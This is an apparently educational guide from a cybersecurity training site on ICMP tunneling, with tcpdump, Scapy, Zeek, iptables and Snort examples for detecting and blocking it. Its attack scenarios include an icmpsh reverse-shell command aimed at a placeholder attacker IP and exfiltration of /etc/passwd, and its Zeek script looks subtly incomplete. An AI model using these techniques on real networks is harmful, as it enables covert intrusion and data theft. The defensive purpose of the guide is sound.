8200 Cyber Bootcamp

© 2026 8200 Cyber Bootcamp

What is ICMP Tunneling and How to Protect Against It

What is ICMP Tunneling and How to Protect Against It

ICMP tunneling is a stealthy technique attackers use to pass malicious commands or exfiltrate data through network defenses by hiding them inside ICMP traffic, such as pings. Learn how it works, why it's effective, and ways to detect and defend your network from these covert threats.
# What Is ICMP Tunneling and How to Protect Against It

## Introduction to ICMP Tunneling

ICMP tunneling, sometimes called "covert ping-based attacks," is a stealthy network attack technique where malicious actors hide command-and-control (C2) traffic or data exfiltration activities inside otherwise benign Internet Control Message Protocol (ICMP) packets. Because ICMP—commonly known for `ping` requests—typically flies under the radar of firewall and intrusion detection systems, it presents a serious challenge for IT security teams.

In this guide, we'll explain what ICMP tunneling is, how attackers implement it, why it's an attractive method for evasion, and—most importantly—how security professionals and network admins can detect and defend against ICMP tunnel attacks. We'll go from beginner explanations to advanced detection, including real-world examples and code samples to scan, monitor, and parse network traffic for ICMP tunneling activity.

---

## Table of Contents

- [What is ICMP? The Basics](#what-is-icmp-the-basics)
- [What is ICMP Tunneling?](#what-is-icmp-tunneling)
- [How Does ICMP Tunneling Work?](#how-does-icmp-tunneling-work)
- [Why Attackers Use ICMP Tunnels](#why-attackers-use-icmp-tunnels)
- [Real-World Examples of ICMP Tunnel Attacks](#real-world-examples-of-icmp-tunnel-attacks)
- [Detecting ICMP Tunneling in Practice](#detecting-icmp-tunneling-in-practice)
- [Scanning for ICMP Tunnel Activity](#scanning-for-icmp-tunnel-activity)
- [Protecting Against ICMP Tunneling](#protecting-against-icmp-tunneling)
- [Advanced Mitigation: Stateless Detection Models](#advanced-mitigation-stateless-detection-models)
- [Conclusion](#conclusion)
- [References](#references)

---

## What is ICMP? The Basics

The Internet Control Message Protocol (ICMP) is a fundamental part of the Internet Protocol Suite. It is designed for error messages, network diagnostics, and status messaging.

**Key Facts:**

- **ICMP is Layer 3:** Sits at the Network layer above IP.
- **Common Messages:** Includes Echo Request and Echo Reply (`ping`), Destination Unreachable, Time Exceeded, and others.
- **Typical Uses:** Network troubleshooting (e.g., `ping`, `traceroute`), error reporting between network devices.

### Example: Basic ICMP Traffic

When you issue:

```bash
ping google.com

Your computer generates a series of ICMP Echo Request packets, and Google (if it allows ping) responds with ICMP Echo Reply packets.


What is ICMP Tunneling?

ICMP tunneling is a technique that encapsulates arbitrary payload data inside ICMP packets. This data may include files being exfiltrated, shell commands, or even an entire TCP connection, all hidden inside otherwise normal-looking ping requests or replies.

Because organizations often allow ICMP traffic through their perimeter firewalls (for legitimate troubleshooting), attackers exploit this trust to pass hidden data or create backdoors into a network.

Definition:

ICMP tunneling is a covert communication method where attackers encode malicious or unauthorized data within ICMP packets to bypass network access controls.


How Does ICMP Tunneling Work?

ICMP tunneling leverages the structure of ICMP packets—especially Echo Request/Reply—to carry extra, concealed data.

ICMP Packet Anatomy

  • Type, Code: Specifies the ICMP message (e.g., 8 = Echo Request, 0 = Echo Reply)
  • Checksum: For error detection
  • Identifier and Sequence Number: For tracking
  • Data: Optional field, used by attackers to carry covert data

Step-by-Step Tunneling Process

  1. Attacker Compromises a Host: Gains access to a device inside the target network.
  2. Launches ICMP Tunnel Client: The client encodes commands or data inside ICMP Echo packets—often using tools like icmpsh, ptunnel, or custom scripts.
  3. ICMP Packets Sent to C2 Server: The attacker’s server outside the firewall receives the packets and decodes the payload.
  4. Replies Encoded: The remote server sends instructions or responses back, hidden inside ICMP Echo Reply packets.
  5. Firewall Bypass: Because the traffic looks like normal ping activity, it often skips inspection and is allowed by default network rules.

Example: ICMP Tunnel Packet

A normal ICMP Echo Request packet might look like:

Field Example Value
Type 8 (Echo Request)
Code 0
Checksum 6920
Identifier 13
Sequence Num 250
Data "Hello, world!"

An ICMP tunneling attack might place base64-encoded exfiltrated data into the "Data" section.


Why Attackers Use ICMP Tunnels

Circumventing Perimeter Security

Firewalls typically block direct external connections (e.g., outbound SSH, exfiltration through HTTP/S).
However, ICMP is frequently whitelisted to enable network troubleshooting, even across organizational boundaries.

C2 (Command and Control)

Advanced persistent threat (APT) actors use ICMP tunnels to manage compromised hosts, send commands, and extract files—all without raising typical network alerts.

Evasion Techniques

  • Payload splitting: Breaking up data into small ICMP fragments.
  • Encryption: Obscuring the payload with encryption or encoding (Base64, XOR).
  • Mimicking normal traffic: Generating ICMP packets at normal intervals, or only in response to legitimate requests.

Tools for ICMP Tunneling

A range of open-source offensive security tools support ICMP tunneling:

  • icmpsh: A reverse shell over ICMP.
  • ptunnel: Tunnels TCP connections over ICMP.
  • Hans: TCP tunneling, including ICMP.
  • Custom scripts: Many attackers develop custom tools to bypass signature-based detection.

Real-World Examples of ICMP Tunnel Attacks

Example 1: Data Exfiltration

An insider threat or malware on a workstation wishes to smuggle sensitive files out of the organization.

Steps:

  1. Compromised host connects to attacker C2 using ICMP tunnel client.
  2. Files (e.g., /etc/passwd) are split, encoded, and hidden inside multiple Echo Requests.
  3. Attacker's remote server collects the packets and reconstructs the stolen file.

Example 2: Remote Shell Over ICMP

Penetration testers and attackers deploy tools like icmpsh:

  • The internal host launches icmpsh -t <attacker_ip>.
  • The attacker's server (outside network) listens for ICMP Echo Requests, decodes and responds with shell responses via Echo Replies.
  • Bidirectional shell communication is now established without opening risky outbound ports.

Case Study: ICMP Tunnels in the Wild

Reports have surfaced of APTs and malware (notably Backdoor.Win32.ICMPdoor) leveraging ICMP tunneling for persistent access in high-security environments that otherwise block all outbound but HTTP/HTTPS—and ICMP.


Detecting ICMP Tunneling in Practice

ICMP tunneling detection hinges on identifying anomalous patterns or inspecting ICMP packet payloads.

What to Watch For

  • Unusual ICMP packet size: Normal ping payload is 32–56 bytes; exfiltrating data needs much more.
  • High volume/frequency: Excessive or regular ICMP Echo requests to rare external addresses.
  • Large or non-printable data in payloads: Encoded/encrypted strings instead of simple test text.
  • Unexpected endpoints: Internal hosts "pinging" suspicious public IPs.

Tools for ICMP Traffic Analysis

tcpdump

A packet capture tool often used to inspect ICMP traffic.

# Capture all ICMP traffic, verbose output
sudo tcpdump -n -v icmp

Sample suspicious output (truncated):

IP 10.10.10.5 > 203.0.113.10: ICMP echo request, id 4567, seq 3344, length 1024

Note: 1024 bytes is much larger than normal ping ICMP payloads!

Wireshark

A graphical packet analyzer.

  1. Filter traffic: icmp
  2. Look for Echo packets with large/strange payloads; right-click and "Follow ICMP Stream" to see content.
Zeek (formerly Bro)

A powerful network security monitoring tool with built-in ICMP scripting.

Script to log abnormal ICMP payloads:

event icmp_message(c: connection, icmp: icmp_hdr)
    {
    if ( c$id$orig_h !in Site::internal_networks )
        {
        # Log or alert on large payloads
        if ( c$payload && |c$payload| > 500 )
            local alert = fmt("Large ICMP payload from %s to %s", c$id$orig_h, c$id$resp_h);
        }
    }
Linux Command-Line (Bash/Python)

Bash example: Log all outbound ping payloads.

sudo tcpdump -nn -X icmp and host 203.0.113.10 | grep -A 10 "ICMP"

Python example: Parse pcap for abnormal ICMP payloads

from scapy.all import *

def scan_icmp_pcap(pcap_file):
    packets = rdpcap(pcap_file)
    for pkt in packets:
        if pkt.haslayer(ICMP):
            if len(pkt[ICMP].payload) > 100:
                print(f"Suspicious ICMP from {pkt[IP].src} to {pkt[IP].dst}: {bytes(pkt[ICMP].payload)[:30]}...")

scan_icmp_pcap('capture.pcap')

Scanning for ICMP Tunnel Activity

To proactively hunt for ICMP tunnel misuse, regular scans and anomaly detection are vital.

Step 1: Baseline ICMP Usage

  • Monitor normal ICMP traffic: volume, destinations, packet size.
  • Identify typical internal and external endpoints.

Step 2: Analyze for Anomalies

Use tools like ELK stack, Zeek, Wireshark to:

  • Alert on unusually large or frequent ICMP packets.
  • Correlate ICMP sources/destinations with known threat intelligence.

Step 3: Scan on Linux/Unix

Find largest ICMP packets in real time:

sudo tcpdump -ni eth0 icmp and greater 200

List packet sizes from dump:

sudo tcpdump -nn -r capture.pcap icmp | awk '{print $NF}' | sort | uniq -c | sort -nr

Step 4: Automated Scripts

Python Scapy: Report echo requests with large payloads

from scapy.all import *

def detect_large_icmp(pcap_file):
    for pkt in rdpcap(pcap_file):
        if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
            if len(pkt[ICMP].payload) > 200:
                print(f"Large ICMP Echo Request: {pkt[IP].src} -> {pkt[IP].dst}, size={len(pkt[ICMP].payload)}")
detect_large_icmp("icmp_traf.pcap")

Protecting Against ICMP Tunneling

1. Restrict ICMP Traffic

  • Firewall policy: Block ICMP externally, or at least restrict to known management stations. Only permit Echo Request/Reply if required.
  • Egress filtering: Prevent internal hosts from sending ICMP to external addresses except for trusted cases.

Example: Block outbound ICMP with iptables

sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP

2. Inspect ICMP Payloads

  • Deploy IDS/IPS solutions (like Snort, Suricata) with ICMP tunneling signatures or rules for abnormal payloads.
  • Monitor payload size, frequency, and destination.

Snort Rule Example:

alert icmp any any -> any any (msg:"Suspicious ICMP Payload Size"; dsize:>200; sid:1000001; rev:1;)

3. Log and Alert

  • Ensure logging of all ICMP traffic, especially large or strange payloads.
  • Set up SIEM alerts for anomalies.

4. User Education and Least Privilege

  • Prevent ordinary users/hacked workstations from generating ICMP to external hosts.
  • Disable outbound ICMP on all but necessary devices.

5. Advanced Threat Detection

  • Use machine learning/heuristics (see Zeek/Suricata integrations) to flag traffic patterns matching known ICMP tunneling tools.
  • Regularly review endpoint/network logs.

6. Patch and Maintain

  • Update network devices and software to patch ICMP handling vulnerabilities.
  • Stay informed on current attack tools and signatures.

Advanced Mitigation: Stateless Detection Models

Research has shown that stateless monitoring—tracking flows and sizes of ICMP packets, not just their state or sequence—can be a low-impact and scalable way of detecting tunneling.

Stateless Detection Principles

  • Look at each packet independently: Detect suspicious patterns based on individual ICMP packet size and frequency.
  • No session tracking needed: Less resource-intensive for firewalls/routers.
  • Automate alerts on thresholds: For example, flag all ICMP Echo packets >500 bytes.

Performance Impact

According to Singh & Nordström, stateless models can effectively flag covert channels without significantly impacting end hosts or routers—even at scale.


Conclusion

ICMP tunneling represents a low and slow threat that blends seamlessly into legitimate network operations, making detection and defense challenging for blue teams. With the widespread use of ICMP for diagnostics and the frequency with which organizations allow such traffic through their firewalls, it is a preferred vehicle for attackers establishing covert command and control, exfiltrating sensitive data, or accessing compromised hosts.

Key Takeaways

  • ICMP tunneling exploits trusted protocols for covert communications.
  • Sophisticated attackers leverage it for C2 and data exfiltration.
  • Detection requires monitoring for unusual ICMP packet size, frequency, and destinations.
  • Defense is a mix of strong egress filtering, ICMP restriction, payload analysis, and automated logging/alerting.
  • Stateless detection models allow scalable defense without degrading network performance.

By baselining your network’s legitimate ICMP activity and employing both signature and anomaly-based detection, your organization can neutralize this stealthy threat vector before it results in data loss or further compromise.


References


Secure your perimeter—and never ignore the humble ping!

🚀 READY TO LEVEL UP?

Take Your Cybersecurity Career to the Next Level

If you found this content valuable, imagine what you could achieve with our comprehensive 47-week elite training program. Join 1,200+ students who've transformed their careers with Unit 8200 techniques.

97% Job Placement Rate
Elite Unit 8200 Techniques
42 Hands-on Labs